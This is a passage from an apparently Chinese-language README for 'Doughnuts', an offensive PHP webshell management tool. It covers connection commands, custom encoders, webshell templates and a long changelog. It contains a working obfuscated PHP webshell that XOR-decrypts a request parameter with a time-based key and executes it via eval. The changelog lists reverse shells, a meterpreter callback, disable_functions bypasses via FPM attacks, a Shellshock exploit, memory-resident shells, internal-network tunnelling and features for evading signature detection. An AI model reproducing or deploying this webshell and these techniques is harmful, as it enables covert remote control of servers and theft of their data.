\u90a3\u4e48\u53ea\u9700\u8981\u8fd0\u884cDoughnuts.py,\u5e76\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4,\u5373\u53ef\u6210\u529f\u8fde\u63a5\u81f3webshell:\n\n ```\n connect http://localhost/test.php POST 2333 base64 \"data:a=123\"\n ```\n\n2. \u751f\u6210webshell:\n 1. \u8fd0\u884cdoughnuts\n 2. \u6267\u884c`generate a.php POST pass salt 1`\u751f\u6210webshell,\u540d\u5b57\u4e3aa.php\n 3. \u4e0a\u4f20a.php \u6839\u636e\u63d0\u793a\u6267\u884c`connect {\u6728\u9a6curl} POST pass doughnuts-salt`\u8fde\u63a5webshell\n\n## \u81ea\u5b9a\u4e49\u7f16\u7801\u5668\n1. \u8fdb\u5165doughnuts/encode\u76ee\u5f55\n2. \u65b0\u5efa/\u62f7\u8d1d\u4e00\u4e2apy\u6587\u4ef6,\u8d77\u4e00\u4e2a\u540d\u5b57,\u4ee5time.py\u4e3a\u4f8b\n3. \u6587\u4ef6\u4e2d\u53ea\u9700\u8981\u5199\u4e00\u4e2arun\u51fd\u6570,\u7c7b\u4f3c\u4e8e\n```python\nfrom libs.config import alias\n\n\n@alias(True)\ndef run(data: str):\n cipher = data\n return cipher\n```\n4. \u53c2\u6570\u89e3\u91ca: data\u662f\u4f20\u8f93\u7684\u6570\u636e,\u4e3a\u5b57\u7b26\u4e32,cipher\u4e3a\u4f20\u51fa\u7684\u6570\u636e,\u4e5f\u5e94\u8be5\u4e3a\u5b57\u7b26\u4e32\n5. \u91cd\u542fdoughnuts\u5373\u53ef\u4f7f\u7528`se/show_encoders`\u547d\u4ee4\u67e5\u770b\u81ea\u5b9a\u4e49\u7684\u7f16\u7801\u5668,\u8fde\u63a5\u65f6\u4f7f\u7528`connect URL \u8bf7\u6c42\u65b9\u6cd5 \u5bc6\u7801 \u7f16\u7801\u5668\u540d\u5b57`\u5373\u53ef\u4f7f\u7528\u81ea\u5b9a\u4e49\u7f16\u7801\u5668\n6. \u4e00\u4e2a\u4f8b\u5b50,\u4ee5\u65f6\u95f4\u4e3a\u79d8\u94a5\u7684\u7f16\u7801\u5668\n```python\nfrom libs.config import alias\nfrom hashlib import md5\nfrom base64 import b64encode\nimport time\n\n\n@alias(True)\ndef run(data: str):\n format_time = time.strftime(\"%Y-%m-%d %H:%M\", time.localtime())\n key = md5(format_time.encode()).hexdigest().encode()\n data = data.encode()\n cipher = bytes(data[i] ^ key[i % 32] for i in range(len(data)))\n cipher = b64encode(cipher).decode()\n\n return cipher\n```\n\u5bf9\u5e94\u7684php webshell\n```php\n<?php \nclass COMI { \n public $c='';\n function __destruct() {\n return eval(substr($this->c, 0));\n }\n}\ndate_default_timezone_set(\"PRC\");\n$comi = new COMI();\n$password = &$password1;\n$password1 = $_REQUEST['x'];\n$post = &$password;\n$post=base64_decode($post);\n$key=md5(date(\"Y-m-d H:i\",time()));\nfor($i=0;$i<strlen($post);$i++){\n $post[$i] = $post[$i] ^ $key[$i%32];\n}\n$lnng1 = &$lnng;\n$lnng = $post;\n$lnng2 = $lnng1;\n@$comi->c = substr($lnng2, 0);\n?>\n```\n\n## \u81ea\u5b9a\u4e49webshell\u6a21\u677f\n1. \u8fdb\u5165doughnuts/webshell_plugins\u76ee\u5f55\n2. \u65b0\u5efa/\u62f7\u8d1d\u4e00\u4e2apy\u6587\u4ef6,\u8d77\u4e00\u4e2a\u540d\u5b57,\u4ee5test.py\u4e3a\u4f8b\n3. \u6587\u4ef6\u4e2d\u53ea\u9700\u8981\u5199\u4e00\u4e2aget_php\u51fd\u6570,\u7c7b\u4f3c\u4e8e\n```python\ndef get_php(keyword: int = 4, passwd: str = \"\", salt: str = \"\"):\n ...\n```\n4. \u5404\u4e2a\u53c2\u6570\u89e3\u91ca\n - keyword\u662f\u4e00\u4e2a\u6570\u5b57\u5bf9\u5e94\u4e00\u79cd\u8bf7\u6c42\u65b9\u5f0f,\u5206\u522b\u5bf9\u5e94: GET->3 POST->4 COOKIE->5 HEADER->6\n - passwd\u662f\u8fde\u63a5webshell\u7684\u5bc6\u7801\n - salt\u662f\u7528\u4e8e\u52a0\u5bc6\u7b97\u6cd5\u7684\u76d0,\u4f60\u53ef\u4ee5\u4e0d\u9700\u8981\u4f7f\u7528\u8fd9\u4e2a\u53c2\u6570,\u4f46\u662f\u51fd\u6570\u5b9a\u4e49\u91cc\u5fc5\u987b\u5b58\u5728\n5. \u91cd\u542fdoughnuts\u6216\u8005\u5728doughnuts\u4f7f\u7528`reload generate`\u91cd\u65b0\u52a0\u8f7dgenerate\u547d\u4ee4,\u5373\u53ef\u4f7f\u7528doughnuts\u751f\u6210\u81ea\u5b9a\u4e49webshell\n\n## \u53c2\u8003\n\n- https://github.com/WangYihang/Webshell-Sniper\n- https://github.com/epinna/weevely3\n\n## \u66f4\u65b0\u65e5\u5fd7\n\n### 4.24.0\n- 4.24.0 \n - \u65b0\u589e\u529f\u80fd\n - memshell: \u901a\u8fc7\u4ea4\u4e92\u5f0f\u64cd\u4f5c\u6ce8\u5165php\u5185\u5b58\u9a6c\uff0c\u4ec5\u4f5c\u7528\u4e8efastcgi,\u8be6\u60c5\u8bf7\u770b[\u8fd9\u91cc](https://tttang.com/archive/1720/)\n - \u4f18\u5316\n - \u4f18\u5316bdf-fpm\u7684\u903b\u8f91\uff0c\u4fee\u590d\u4e00\u4e9bbug\n### 4.23.0\n- 4.23.0\n - \u65b0\u589e\u529f\u80fd\n - bdf-php-concat_function: \u5bf9\u5e94\u6570\u5b5717\uff0c\u8be6\u60c5\u8bf7\u770b[\u8fd9\u91cc](https://github.com/mm0r1/exploits/tree/master/php-concat-bypass)\n- 4.23.1\n - \u4fee\u590dbug\n - connect: \u67d0\u4e9bwebshell\u65e0\u6cd5\u8fde\u63a5\u7684\u95ee\u9898 (\u51fa\u73b0 IndexError)\n - cat: \u5728\u4f7f\u7528DOMDocument\u8bfb\u53d6\u6587\u4ef6\u65f6\u6ca1\u6709base64\u89e3\u7801\u7684\u9519\u8bef\n - portscan: \u65e0\u6cd5\u4f7f\u7528\u7684\u95ee\u9898\n - upload: \u4f7f\u7528file_put_contents\u4e0a\u4f20\u6587\u4ef6\u65f6\u9519\u8bef\u7684\u95ee\u9898\n- 4.23.2\n - \u4fee\u590dbug\n - \u5728linux\u4e0b\u8c03\u7528vi\u7f16\u8f91\u5668\u4f1a\u5bfc\u81f4\u65e0\u6cd5\u5199\u5165\u7684\u95ee\u9898\n - webshell/db_shell/shell \u547d\u4ee4\u73b0\u5728\u4f1a\u6839\u636eswitch\u547d\u4ee4\u5207\u6362\u539f\u59cb/\u8865\u5168\u6a21\u5f0f\n- 4.23.3\n - \u4fee\u590dbug \n - upload\u65e0\u6cd5\u4f7f\u7528\u7684bug\n - \u5728\u8270\u96be\u73af\u5883\u4e0b\u8fde\u63a5webshell\u7684\u4f18\u5316\n\n### 4.22.0\n\n- 4.22.0\n - \u65b0\u589e\u529f\u80fd\n - extension\n - \u67e5\u770b\u5f53\u524dphp\u6240\u88c5\u6269\u5c55\n - \u4f18\u5316\u529f\u80fd\n - \u53bb\u9664\u5b89\u88c5\u811a\u672c\u4e2d\u90e8\u5206\u591a\u4f59\u4ee3\u7801\n - \u7528\u968f\u673a\u5b57\u7b26\u6807\u8bc6\u66ff\u4ee3\u539f\u5148\u56fa\u5b9a\u6807\u8bc6\u7b26\u7684webshell\u662f\u5426\u5b58\u6d3b\u68c0\u6d4b\n - \u73b0\u5728\u8f93\u5165\u5b8c\u6574\u547d\u4ee4\u540e\u6309\u65b9\u5411\u952e(\u2192)\u6216tab\u663e\u793a\u5019\u9009\u53c2\u6570\n - \u73b0\u5728\u4f1a\u6839\u636e\u81ea\u5e26\u7684base64\u51fd\u6570\u662f\u5426\u53ef\u7528\u81ea\u52a8\u8865\u4e0abase64\u51fd\u6570\u5934\n - cat\n - \u73b0\u5728\u4f1a\u6839\u636e\u60c5\u51b5\u81ea\u52a8\u9009\u62e9\u8bfb\u53d6\u6587\u4ef6\u65b9\u5f0f\n - write\n - \u73b0\u5728\u4f1a\u6839\u636e\u60c5\u51b5\u81ea\u52a8\u9009\u62e9\u5199\u5165\u6587\u4ef6\u65b9\u5f0f\n - \u91cd\u6784\u4ee3\u7801\n - \u5728libs\u76ee\u5f55\u4e2d\u52a0\u4e0a\u5982functions/[\u63d2\u4ef6\u76ee\u5f55]/[\u63d2\u4ef6\u51fd\u6570]\u5f62\u5f0f\uff0c\u4fbf\u4e8e\u63d2\u4ef6\u53ef\u8bfb\u6027\u7684\u63d0\u9ad8\n - \u5bf9myapp.py\u4e2d\u5927\u90e8\u5206php\u4ee3\u7801\u8fdb\u884c\u5305\u88c5\u8f6c\u79fb\n - \u5bf9connect.py\u4e2d\u90e8\u5206php\u4ee3\u7801\u8fdb\u884c\u5305\u88c5\u8f6c\u79fb\n - \u5bf9webshell_plugins\u5185\u5927\u90e8\u5206\u63d2\u4ef6\u7684php\u4ee3\u7801\u8fdb\u884c\u5305\u88c5\u8f6c\u79fb\n - \u4fee\u590dbug\n - readline:\n - \u5728\u81ea\u52a8\u8865\u5168\u53c2\u6570\u65f6\u6709\u53ef\u80fd\u4f1a\u91cd\u590d\u8865\u5168\u547d\u4ee4\u7684\u9519\u8bef\n - \u65e0\u6cd5\u5bf9general\u4e2d\u547d\u4ee4\u53c2\u6570\u8fdb\u884c\u81ea\u52a8\u8865\u5168\u7684\u9519\u8bef\n - \u6709\u5173debug\u4ee3\u7801\u90e8\u5206\u7684\u9519\u8bef\n - \u66f4\u6b63\u90e8\u5206\u6587\u672c\u9519\u8bef\uff0c\u53bb\u9664\u90e8\u5206\u591a\u4f59\u4ee3\u7801\n\n### 4.21.0\n\n- 4.21.0\n - \u65b0\u589e\u529f\u80fd\n - bdf-shellshock: \u5bf9\u5e94\u6570\u5b5716\uff0cBash\u7834\u58f3\uff08CVE-2014-6271)\u6f0f\u6d1e\n - \u4fee\u590dbug\n - bdf-fpm:\n \u5728\u67d0\u4e9b\u60c5\u51b5\u4e0b\u8bef\u5224\u76ee\u6807\u5e76\u4e0d\u662f\u4f7f\u7528fpm\u542f\u52a8\uff0c\u73b0\u5728\u89e3\u9664\u8fd9\u4e2a\u9650\u5236\uff0c\u7531\u4f7f\u7528\u8005\u81ea\u5df1\u51b3\u5b9a\n### 4.20.0\n- 4.20.0\n - \u65b0\u589e\u7279\u6027\n - \u5728\u6781\u7aef\u73af\u5883\u4e0b\u8fde\u63a5webshell\n - \u65b0\u589e\u529f\u80fd\n - bdf: 12-iconv \u589e\u52a0bypass\u51fd\u6570\n\n### 4.19.0\n- 4.19.0\n - \u65b0\u589e\u529f\u80fd\n - bdf: \u65b0\u589euser_filter\u6a21\u5f0f\uff0c\u9002\u7528\u4e8e7.0-8.0\u6240\u6709\u7248\u672c\n### 4.18.0\n- 4.18.0\n - \u4fee\u590dbug\n - proxy: \u53ef\u80fd\u5931\u6548\u7684\u95ee\u9898\n - db_shell: \u547d\u4ee4\u91cd\u590d\u6267\u884c\n\n - \u4f18\u5316\u529f\u80fd\n - upload\n - \u4f7f\u7528$_FILES\u4e0a\u4f20\u5931\u8d25\u65f6\u663e\u793a\u5931\u8d25\u539f\u56e0\n - socks\n - windows\u4e0bhttp path\u7684\u9ed8\u8ba4\u503c\u4f7f\u7528/\u66ff\u6362\\\n - \u65b0\u589e\u529f\u80fd\n - db_exec\n - \u542f\u52a8\u7f16\u8f91\u5668\u6267\u884c\u4efb\u610fsql\u8bed\u53e5\n- 4.18.1\n - \u4fee\u590dbug\n - db_mdump\n - \u91cd\u8bd5\u65e0\u6548\u7684\u95ee\u9898\n - \u7ebf\u7a0b\u4e0d\u5b89\u5168\u5bfc\u81f4dump\u7684\u6570\u636e\u4e0d\u5168\u6216\u91cd\u590d\u7684\u95ee\u9898\n - \u6570\u636e\u4e3a\u7a7a\u65f6\u4e0e\u6570\u636e\u7c7b\u578b\u4e0d\u5339\u914d\u7684\u95ee\u9898,\u5c06''\u66ff\u6362\u4e3anull\n- 4.18.2\n - \u4fee\u590dbug\n - mdownload\n - \u91cd\u8bd5\u540e\u65e0\u8bba\u5982\u4f55\u90fd\u663e\u793a\u4e0b\u8f7d\u5931\u8d25\n - \u4f18\u5316\u529f\u80fd\n - \u4f7f\u7528\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u83b7\u53d6php\u914d\u7f6e\u9009\u9879\u7684\u503c\uff0c\u800c\u975eini_get\n - getenv\n - \u4f7f\u7528\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\u83b7\u53d6php\u914d\u7f6e\u9009\u9879\u7684\u503c\uff0c\u800c\u975eini_get\n - mdownload\n - \u6dfb\u52a0hash\u9a8c\u8bc1\n - \u589e\u52a0\u63d0\u793a\n - \u4f7f\u7528\u4e34\u65f6\u6587\u4ef6\u800c\u975e\u5185\u5b58\u5b58\u50a8chunk\n - \u8bf7\u6c42: \u6dfb\u52a0\u91cd\u8bd5\u6b21\u65702\n- 4.18.3\n - \u4fee\u590dbug\n - mdownload,download\u5728\u4e0b\u8f7d\u65f6\u4f1a\u521b\u5efa\u6587\u4ef6\u5939\n - write\u5199\u5165\u6587\u4ef6\u540d\u9519\u8bef\n - edit\u7f16\u8f91\u6587\u4ef6\u65f6\u4e3a\u7a7a\n - README\n - \u6dfb\u52a0shields\n### 4.17\n- 4.17.0\n - \u6dfb\u52a0\u8bf4\u660e\n - bdf: \u8865\u51454.15\u65b0\u589e\u7684fpm-ftp\u6a21\u5f0f\u7684\u8bf4\u660e\n - \u65b0\u589e\u529f\u80fd\n - bdf-fpm:\n - (\u5b9e\u9a8c\u6027\u529f\u80fd\uff0c\u4e0d\u7a33\u5b9a)\u73b0\u5728\u4f1a\u8be2\u95ee\u662f\u5426\u5728\u6240\u6709\u8bf7\u6c42\u4e2d\u90fd\u653b\u51fbfpm\u4ee5\u83b7\u53d6\u7ed3\u679c\uff0c\u53ef\u4ee5\u7528\u4e8e\u7ed5\u8fc7open_basedir\u7b49\u9650\u5236\uff0c\u6682\u4e0d\u652f\u6301ftp\u6a21\u5f0f\n - system:\n - \u82e5\u547d\u4ee4\u4ee5&\u7ed3\u5c3e\uff0c\u5219\u4f1a\u5c06\u5176\u8d77\u65b0\u7ebf\u7a0b\u6302\u5728\u540e\u7aef\u6267\u884c\n\n \n\n### 4.16\n- 4.16.0\n - \u4f18\u5316\u529f\u80fd\n - socks\n - \u652f\u6301\u4ee3\u7406\u9009\u9879,\u652f\u6301\u5982`http://127.0.0.1:1080/` \u6216 `socks5://127.0.0.1:1080/`\u7684\u4ee3\u7406\n - \u652f\u6301\u5728fsockopen\u88ab\u7981\u7528\u65f6\u4f7f\u7528pfsockopen\n - \u66f4\u6539\u8bf4\u660e,\u53ea\u652f\u63015.4.0\u53ca\u4ee5\u4e0a\u7248\u672c\n - \u65b0\u589e\u529f\u80fd\n - phpinfo\n - \u8c03\u7528\u9ed8\u8ba4\u6d4f\u89c8\u5668\u663e\u793aphpinfo\u4fe1\u606f\n - \u4fee\u590dbug\n - bdf LD_PRELOAD\u6a21\u5f0f mb_send_mail\u65e0\u6cd5\u6210\u529fbypass\n - \u4fee\u590d\u67d0\u4e9b\u547d\u4ee4\u4f1a\u8f93\u51fadebug\u6d88\u606f\u7684bug\n - fwpf\u65e0\u6cd5\u751f\u6548\n - connect\u65f6\u989d\u5916\u53c2\u6570\u6709\u591a\u4e2a:\u6216\u8005=\u53f7\u65f6\u7a0b\u5e8f\u5f02\u5e38\n - download\uff0cmdownload:\u6307\u5b9a\u6587\u4ef6\u4fdd\u5b58\u540d\u65f6\u8ba4\u4e3a\u662f\u76ee\u5f55\u7684bug\n- 4.16.1\n - \u4f18\u5316\u529f\u80fd\n - \u5220\u9664generate\u7684\u975e\u4ea4\u4e92\u8f93\u51fa\n - \u4fee\u6539reverse\u7684\u6587\u6863\uff0cwindows-php\u4e0d\u5efa\u8bae\u4f7f\u7528\n - connect:\u5047\u5982ini_get\u88ab\u7981\u7528\u4e5f\u80fd\u591f\u94fe\u63a5\n - bdf-10-fpm\n - http_sock: \u652f\u6301stream_socket_client\u51fd\u6570\u4f5c\u4e3a\u5907\u7528\n - ftp: \u65b0\u589eftp\u6a21\u5f0f\uff0c\u901a\u8fc7\u5728\u76ee\u6807\u673a\u5668\u6784\u5efa\u4e00\u4e2a\u865a\u5047\u7684ftp\u670d\u52a1\u5668\u4ee5\u5b9e\u73b0ssrf\u653b\u51fbfpm\n \n\n### 4.15\n- 4.15.0\n - \u4fee\u6539\u522b\u540d\n socks -> old_socks\n - \u65b0\u589e\u529f\u80fd\n - bdf\n - \u589e\u52a0FFI-php_exec, php7-reflectionProperty\u6a21\u5f0f\n - outnetwork\n - \u5feb\u901f\u68c0\u67e5\u76ee\u6807\u673a\u5668\u662f\u5426\u80fd\u51fa\u7f51\n - socks\n - \u542f\u52a8\u4e00\u4e2asocks\u670d\u52a1\u5668,\u4e0a\u4f20\u5e76\u8fde\u63a5\u8fdc\u7a0b\u7684webshell\u7ba1\u9053\u4ee5\u5b9e\u73b0\u5185\u7f51\u7a7f\u900f\u7684\u529f\u80fd(power by neo-regeorg)\n - \u4fee\u6539\u8f93\u51fa\n write\n - \u4fee\u590dbug\n - \u65e0\u6cd5\u4f7f\u7528\u53c2\u6570\u77ed\u522b\u540d\n - requirements.txt\u4e2d\u7684urllib3\u7248\u672c\u4fee\u6539\u4e3a1.26.5\n- 4.15.1\n - \u4fee\u6539bug\n - ps\u547d\u4ee4\u5728\u65e0\u6cd5\u8bfb\u53d6/proc\u76ee\u5f55\u65f6\u6ca1\u6709\u8f93\u51fa\u62a5\u9519\n - execute,write,edit\u65e0\u6cd5\u4f7f\u7528\u81ea\u5b9a\u4e49\u7f16\u8f91\u5668\u6216\u62a5\u9519\n - \u4fee\u6539\u8f93\u51fa\n - touch\n - \u4f18\u5316\u529f\u80fd\n - execute,write,edit\n - \u73b0\u5728\u7f16\u8f91\u4e00\u4e2a\u4e34\u65f6\u7684php\u6587\u4ef6\u800c\u975e\u65e0\u540e\u7f00\u6587\u4ef6\n - \u6dfb\u52a0\u53c2\u6570edit_args,\u7528\u4e8e\u63d0\u4f9b\u7f16\u8f91\u5668\u7684\u53c2\u6570,\u4f8b\u5982execute code '\"--wait\"'\n - \u5f53\u4f7f\u7528code(\u5373vscode)\u65f6\u4f1a\u81ea\u52a8\u6dfb\u52a0--wait\u53c2\u6570\n \n\n### 4.14\n- 4.14.0\n - \u65b0\u589e\u529f\u80fd\n - bdf\n - \u589e\u52a0iconv\u6a21\u5f0f\n - \u4fee\u590dbug\n - edit, upload\n - bdf apache-mod-cgi\u6a21\u5f0f \u5728\u5207\u6362\u76ee\u5f55\u4e4b\u540e\u65e0\u6cd5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4,\u73b0\u5728\u56fa\u5b9a\u5728webshell\u76ee\u5f55\u4e2d\u4e0a\u4f20.htaccess\u548ccgi\u811a\u672c\n- 4.14.1\n- 4.14.2\n - \u4fee\u590dbug\n - \u5728Python3.9\u4e2d\u62a5\u9519\n -bindshell, remp, reverse, socks\n - gululingbo\u6a21\u677f\u751f\u6210\u7684webshell\u6ca1\u6709php\u5934\n - log\u547d\u4ee4\u9ed8\u8ba4\u53c2\u6570\u65f6\u63d0\u793aFile path is invalid\n- 4.14.3\n - \u4fee\u590dbug\n - \u5728windows\u4e0b\u8fde\u63a5\u4f7f\u7528\u989d\u5916\u53c2\u6570\u65f6\u9519\u8bef\n - ls\u663e\u793a\u5e26\u6709\u7a7a\u683c\u6587\u4ef6\u540d\u7684\u6587\u4ef6\u7684\u65f6\u5019\u663e\u793a\u4e0d\u5168\n - \u5220\u9664\u7279\u6027\n - \u4e0d\u518d\u80fd\u4ece\u5916\u90e8\u4f7f\u7528connect\u547d\u4ee4\n\n \n### 4.13\n- 4.13.0\n - \u65b0\u589e\u529f\u80fd\n - bdf\n - \u589e\u52a0apache-mod-cgi\u6a21\u5f0f\n- 4.13.1\n - \u4fee\u590dbug\n - iconv.c\u6e90\u7801\n### 4.12\n- 4.12.0\n - \u65b0\u589e\u529f\u80fd\n - bdf\n - \u4fee\u6539ld_preload\u90e8\u5206,\u91cd\u6784\u4ee3\u7801,\u652f\u6301x86 linux\n - \u4e3audf\u90e8\u5206\u5207\u5272\u4ee3\u7801\n - reverse\n - \u4fee\u6539\u9ed8\u8ba4\u53cd\u5f39\u7c7b\u578b,\u9ed8\u8ba4\u4f1a\u6839\u636e\u76ee\u6807\u7cfb\u7edf\u9009\u62e9powershell/bash\n - \u6dfb\u52a0bash_exec\u7c7b\u578b,\u4f7f\u7528exec\u548c\u7ba1\u9053\u7b26\u5b9e\u73b0\n - search\n - \u6dfb\u52a0\u522b\u540dfind, \u6700\u540e\u7ed3\u679c\u4ee5\u7edd\u5bf9\u8def\u5f84\u663e\u793a\n - remp\n - \u652f\u6301pfsockopen, \u5220\u9664bash\u7c7b\u578b\u7684\u53cd\u5f39,\u5c06\u5176\u79fb\u5230reverse\u547d\u4ee4\n - upload\n - \u65b0\u589e\u53c2\u6570upload_type,\u652f\u6301file_put_contents\u76f4\u63a5\u5199\u5165\u5185\u5bb9,\u540c\u65f6\u4f18\u5316\u8f93\u51fa\n - \u4fee\u590dbug\n upload\n - \u6dfb\u52a0\u6ce8\u91ca\n bdf, reverse, av, checkvm\n - \u4fee\u6539\u5e2e\u52a9\u6587\u6863\n bdf, reverse, bobd, search, upload\n - \u91cd\u6784\u4ee3\u7801\n search, bdf, upload\n - \u4fee\u6539\u5206\u7c7b\n - verbose general->COMMON\n### 4.11\n- 4.11.0\n - \u4fee\u6539\u547d\u4ee4\n - bdf\u547d\u4ee4 \u91cd\u5199fpm\u90e8\u5206,\u4f7f\u7528antsword\u7684[bypass_disable_functions\u6269\u5c55](https://github.com/Medicean/as_bypass_php_disable_functions)\n \u73b0\u5728\u652f\u6301\u4e09\u79cdattack_type: gopher,sock,http_sock\n - gopher: \u4f7f\u7528curl\u6269\u5c55\u4e0egopher\u534f\u8bae\u653b\u51fbfpm\u7aef\u53e3\n - sock: \u4f7f\u7528stream_socket_client\u653b\u51fbfpm-sock\n - http_sock: \u4f7f\u7528fsockopen,pfsockopen\u8fde\u63a5fpm\u7aef\u53e3\n \n- 4.11.1\n - \u4fee\u6539fpm\u7684sock\u548chttp_sock\u653b\u51fb\u65b9\u5f0f,\u9632\u6b62\u6574\u4e2adoughnuts\u5361\u6b7b\n- 4.11.2\n - \u4fee\u590d\u65e0\u6cd5\u4f7f\u7528`python3 -m doughnuts`\u542f\u52a8doughnuts\u7684bug\n### 4.10\n- 4.10.0\n - \u4fee\u6539\u547d\u4ee4\n - touch\u547d\u4ee4 \u652f\u6301windows,\u4e0d\u518d\u8c03\u7528\u7cfb\u7edf\u547d\u4ee4\u53bb\u5b9e\u73b0\n- 4.10.1-3(\u5e9f\u5f03\u7248\u672c)\n- 4.10.4\n - \u6dfb\u52a0\u7f3a\u5c11\u7684\u4f9d\u8d56\u5230requirements.txt: six\n- 4.10.5\n - \u6dfb\u52a0docker\u5e76\u4e0a\u4f20\u5230dockerhub,\u53ef\u4ee5\u4f7f\u7528docker\u547d\u4ee4\u4e00\u952e\u8d77doughnuts\n### 4.9\n- 4.9.0\n - \u4fee\u6539\u6838\u5fc3\n - \u6dfb\u52a0custom_plugins\u76ee\u5f55,\u7528\u4e8e\u5b58\u653e\u7528\u6237\u81ea\u5df1\u7f16\u5199\u7684\u63d2\u4ef6\n - \u6dfb\u52a0config.ini\u6587\u4ef6,\u7528\u4e8e\u914d\u7f6e\u76f8\u5173\u53c2\u6570\n- 4.9.1\n - \u4fee\u590d\u5728pypi\u7248\u672c\u4e0egithub\u7248\u672c\u4e0d\u4e00\u81f4\u7684\u95ee\u9898\n- 4.9.2\n- 4.9.3, 4.9.4\n - \u4fee\u590d\u5728\u4e0d\u5b58\u5728\u81ea\u5b9a\u4e49\u547d\u4ee4\u65f6\u8fde\u63a5webshell\u540e\u5e2e\u52a9\u83dc\u5355\u65e0\u6cd5\u663e\u793a\u7684bug\n\n### 4.8\n- 4.8.0\n - \u4fee\u6539\u547d\u4ee4\n - generate\u547d\u4ee4 \u73b0\u5728\u652f\u6301\u5728\u81ea\u5b9a\u4e49webshell\u6a21\u677f,\u5728doughnuts/webshell_plugins\u4e0b\u53ef\u4ee5\u6dfb\u52a0\u81ea\u5df1\u7684\u6a21\u677f,\u8be6\u60c5\u8bf7\u67e5\u770b\u4e0a\u9762\u7684\u81ea\u5b9a\u4e49webshell\u6a21\u677f\n- 4.8.1\n - \u4f18\u5316\u4ee3\u7801\u7ed3\u6784\n - \u4f18\u5316doughnuts\u52a0\u5bc6\u7b97\u6cd5\n - \u4fee\u590denrecv\u4e0d\u5b58\u5728\u7684\u95ee\u9898\n\n### 4.7\n- 4.7.0\n - \u4fee\u6539\u547d\u4ee4\n - remp\u547d\u4ee4 \u4fee\u6539php\u6a21\u5f0f\u7684payload,\u6dfb\u52a0bash\u548cpython\u7684payload\n - bdf\u547d\u4ee4 php-fpm\u6a21\u5f0f(https://xz.aliyun.com/t/5598)\n\n### 4.6\n- 4.6.0\n - \u6dfb\u52a0\u547d\u4ee4\n - verbose\u547d\u4ee4 \u7528\u4e8e\u5f00\u542f/\u5173\u95ed\u63d0\u793a\u7b26\u7684\u8be6\u7ec6\u4fe1\u606f\u663e\u793a\n\n### 4.5\n- \u6dfb\u52a0\u547d\u4ee4\n - enrecv\u547d\u4ee4 \u7528\u4e8e\u968f\u65f6\u5f00\u542f/\u5173\u95ed\u56de\u663e\u52a0\u5bc6\n - remp\u547d\u4ee4 \u53ef\u4ee5\u7b80\u6613\u7684\u5f39\u4e00\u4e2ameterpreter\u7684shell\n- \u4fee\u590dbug\n - \u4fee\u590d\u56de\u663e\u52a0\u5bc6\u5728\u5f39shell\u65f6\u53ef\u80fd\u4f1a\u51fa\u73b0\u89e3\u7801\u9519\u8bef\u7684\u95ee\u9898\n- 4.5.1\n - \u73b0\u5728\u4f7f\u7528\u968f\u673a\u5b57\u7b26\u4f5c\u4e3a\u8fde\u63a5\u662f\u5426\u6210\u529f\u7684\u5224\u65ad\u4ee5\u9632\u7279\u5f81\u68c0\u6d4b\n- 4.5.2\n - \u6dfb\u52a0\u547d\u4ee4\n - mkdir\u547d\u4ee4 \u521b\u5efa\u6587\u4ef6\u5939\n - rmdir\u547d\u4ee4 \u5220\u9664\u7a7a\u6587\u4ef6\u5939\n\n### 4.4\n- \u4fee\u6539\u6838\u5fc3\n - \u4f7f\u7528\u7b97\u6cd5\u5c06\u56de\u663e\u52a0\u5bc6\n- 4.4.1\n - \u4fee\u590dbug\n - **\u56de\u663e\u52a0\u5bc6\u5728php5\u4f1a\u51fa\u9519**\n- 4.4.2\n - \u4fee\u6539\u547d\u4ee4\n - touch\u547d\u4ee4 \u63d0\u793a\u4fee\u6539\n - ps\u547d\u4ee4 \u63d0\u793a\u4fee\u6539,\u53ea\u5141\u8bb8\u5728*unix\u76ee\u6807\u4e0a\u8fd0\u884c\n - \u4fee\u590dbug\n - \u66fe\u5bfc\u81f4\u5728linux\u4e0b\u8c03\u7528vi\u7f16\u8f91\u5668\u5931\u8d25\n\n### 4.3\n- \u4fee\u6539\u547d\u4ee4\n - portscan\u53bb\u9664\u77ed\u540dps, \u4fee\u6539\u663e\u793a\u7ed3\u679c,\u53d8\u5f97\u66f4\u52a0\u53ef\u8bfb\n - bobd\u652f\u6301\u5728ini_set\u88ab\u7981\u7528\u65f6\u4f7f\u7528ini_alter\n - bdf php7-backtrace \u6dfb\u52a0\u5728Exception\u7c7b\u88ab\u7981\u7528\u540e\u4f7f\u7528Error\u7c7b\n- \u6dfb\u52a0\u547d\u4ee4\n - copy\u547d\u4ee4 \u7528\u4e8e\u590d\u5236\u6587\u4ef6\n - ps\u547d\u4ee4 \u7c7b\u4f3c\u4e8elinux\u4e0b\u7684ps\u547d\u4ee4,\u7528\u4e8e\u8bfb\u53d6\u7cfb\u7edf\u8fdb\u7a0b\u4fe1\u606f\n- \u4fee\u590dbug\n - \u5728back\u8fd4\u56de\u4e3b\u83dc\u5355\u540e\u6e05\u7406mysql\u8fde\u63a5\u8bb0\u5f55\n\n\n### 4.2\n- \u4fee\u6539\u7ed3\u6784\n - myapp\u5c1d\u8bd5\u4e22\u5f03webshell\u6267\u884c\u4ee3\u7801\u4e4b\u524d\u7684\u8f93\u51fa\n- \u6dfb\u52a0\u547d\u4ee4\n - mdownload\u547d\u4ee4 \u7528\u4e8e\u5206\u5757\u4e0b\u8f7d\u6587\u4ef6\n- \u4fee\u6539\u547d\u4ee4\n - mupload\u547d\u4ee4 \u5b8c\u5168\u91cd\u5199,\u771f\u6b63\u610f\u4e49\u4e0a\u7684\u5206\u5757\u4e0a\u4f20,\u4fee\u590dmupload\u4e0a\u4f20\u5931\u8d25\u4e0d\u4f1a\u81ea\u52a8\u6e05\u7406\u4e34\u65f6\u6587\u4ef6\u7684\u95ee\u9898\n- \u4fee\u590dbug\n - \u4fee\u590dmdownload, mupload\u6ca1\u6709ls\u540e\u8865\u5168\u7684\u95ee\u9898\n- \u65b0\u589e\u4f9d\u8d56\n - tqdm\n- 4.2.1\n - \u4fee\u6539\u547d\u4ee4\n - db_mdump\u547d\u4ee4 \u4f18\u5316,\u53bb\u9664key\u952e,\u53bb\u9664\u8868\u7ed3\u6784\u4e2d\u7684Not NULL, \u4f7f\u7528mysql_real_escape_string\u8f6c\u4e49\n\n\n\n\n### 4.1\n- \u4fee\u6539\u7ed3\u6784\n - \u65b0\u5efa\u63d2\u4ef6\u65f6\u4e0d\u518d\u9700\u8981\u66f4\u6539helpmenu.py\n\n\n### 4.0\n- \u4fee\u6539\u547d\u4ee4\n - 